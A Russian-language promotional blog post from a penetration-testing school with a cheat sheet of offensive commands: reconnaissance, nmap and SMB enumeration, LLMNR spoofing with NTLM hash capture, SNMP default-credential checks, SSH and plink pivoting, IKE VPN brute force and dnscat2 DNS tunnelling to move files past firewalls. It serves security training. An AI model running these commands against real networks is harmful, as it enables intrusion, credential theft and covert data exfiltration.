«Zero Security: A» — начальный уровень подготовки в области практической информационной безопасности
Одним из основных направлений деятельности Pentestit является разработка специализированных программ начальной (Zero Security: A) и профессиональной (Корпоративные лаборатории) подготовки в области информационной безопасности. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы разберем базис команд и полезных трюков при проведении тестирования на проникновение внешнего периметра.
Многие новички при работе в специализированных дистрибутивах (Kali Linux, BlackArch, BackBox и др.) сталкиваются с незнанием основного синтаксиса команд и простейшего инструментария при проведении тестирования на проникновение. Действительно, сейчас довольно много утилит и техник их использования, что поневоле «разбегаются глаза», что, когда и в каком случае применять. Для этого мы подготовили краткий справочник по основным командам и утилитам.
Справочник пентестера часть 1
Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.
Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия.
Конфигурация сети
Назначение IP-адреса
ifconfig eth0 xxx.xxx.xxx.xxx/24
Информация о подсети
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT (сбор информации)
WHOIS:
whois domain-name-here.com
Выполнение DNS Lookup запросов:
dig @nameserver domainname.com A
Обнаружение MX записей:
dig @nameserver domainname.com MX
Выполнение запроса Zone Transfer используя DIG:
dig @nameserver domainname.com AXFR
DNS Трансфер зоны
Windows DNS трансфер зоны
nslookup -> set type=any -> ls -d blah.com
Linux DNS трансфер зоны
dig @ns1.blah.com blah.com axfr
Используйте Simply Email для сбора почтовых адресов указанного домена из открытых источников (github, target site и т.п.). Утилита работает продуктивнее, если вы используете прокси и большие значения задержек, так, что google не будет считать активность подозрительной и выдавать капчу.
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
Simply Email может проверять обнаруженные email адреса после сбора.
Ручной finger printing / banner grabbing
Получение информации о SMTP сервисе через баннер
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
Получение баннера при помощи NC
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
DNS Брутфорс
DNSRecon
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml
Сканирование портов
Nmap сканирование с подробным выводом, метод syn, T4 скорость (подходит для LAN), получение информации о версии ОС и сервисов, traceroute и NSE скрипты в отношении найденных сервисов
nmap -v -sS -A -T4 target
То же, что и выше, сканирование всех TCP, даже если хост не отвечает на ICMP запросы (занимает больше времени)
nmap -v -sS -p- -A -T4 -Pn target
То же, что выше, + сканирование UDP диапазона (требует очень много времени)
nmap -v -sU -sS -p- -A -T4 target
Nmap скрипт для обнаружения уязвимых SMB серверов (ВНИМАНИЕ: unsafe=1 может вызвать ошибку на сервере)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X
Поиск NSE скриптов по регулярным выражениям
ls /usr/share/nmap/scripts/* | grep ftp
Nmap UDP cканирование
nmap -sU target
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git
Команда для сканирования IP-адресов из файла по всем сервисам:
./udp-proto-scanner.pl -f ip.txt
Сканирование определенного UDP сервиса:
udp-proto-scanner.pl -p ntp -f ips.txt
Другие методы для этапа host discovery, без использования nmap
Проверяет, доступен ли хост, путем отправки ARP запроса:
arping 192.168.1.1 -c 1
Обнаруживает IP, MAC адреса в подсети через ARP (может быть полезно для проверки VLAN):
netdiscover -r 192.168.1.0/24
Обнаружение и эксплуатация сетевых сервисов
Обнаружение SMB:
smblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
Обнаруживает Windows/Samba серверы в подсети, определяет Windows MAC адреса, netbios имя и рабочую группу/домен
nbtscan 192.168.1.0/24
Определение версии SMB:
smbclient -L //192.168.1.100
Поиск SMB ресурсов:
nmap -T4 -v -oA shares --script=smb-enum-shares --script-args=smbuser=username,smbpass=password -p445 192.168.1.0/24
Обнаружение SMB пользователей:
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
Атака RID Cycling:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
Модуль Metasploit для атаки RID cycling:
use auxiliary/scanner/smb/smb_lookupsid
Null session тестирование в ручном режиме
Windows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS запросы:
Подмена/модификация LLMNR / NetBIOS запросов:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
Перехват NTLM хэшей:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
Для взлома хэша NTLMv2 используйте john или hashcat.
Как альтернативу можно использовать responder.py.
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
SNMP
Исправление SNMP значений в выводе для удобного восприятия:
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
Обнаружение SNMP
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1| grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
Определение SNMPv3 серверов с nmap:
nmap -sV -p 161 --script=snmp-info target-subnet
Скрипт от Rory McCune«s помогает автоматизировать процесс поиска пользователей для SNMPv3:
https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Словари Metasploit содержат стандартные учетные данные для SNMP v1 и v2:
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
Тестирование TLS & SSL
Тестирует всё на выбранном хосте и выводит в файл:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
Сеть
Перенаправление удаленного порта на локальный:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
SSH Pivoting
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
SSH pivoting из одной подсети в другую:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
(добавьте socks4 127.0.0.1 1010 в /etc/proxychains.conf)
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
(добавьте socks4 127.0.0.1 1011 в /etc/proxychains.conf)
Meterpreter Pivoting
portfwd add –l 3389 –p 3389 –r target
portfwd delete –l 3389 –p 3389 –r target
VLAN Hopping
Использование NCCGroups VLAN скприпт для Yersina упрощает процесс.
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
Обнаружение VPN серверов
./udp-protocol-scanner.pl -p ike TARGET(s)
Сканирование диапозона VPN серверов:
./udp-protocol-scanner.pl -p ike -f ip.txt
Использование IKEForce для обнаружения или словарной атаки на VPN серверы.
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
Выполните обнаружение IKE VPN с помощью IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Брутфорс IKE VPN с помощьюIKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
Туннелирование трафика через DNS для обхода firewall
dnscat2 поддерживает «download» и «upload» команды для получения файлов (данные или программы) на и с целевой машины.
Машина атакующего:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Запуск dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Атакуемая машина:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host
В следующих статьях я дополню справочник командами и трюками эксплуатации уязвимостей, брутфорса сетевых сервисов, примерами командных оболочек и т.д.
Заключение
Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется раз в 3 месяца (через 1 набор), что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.
Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.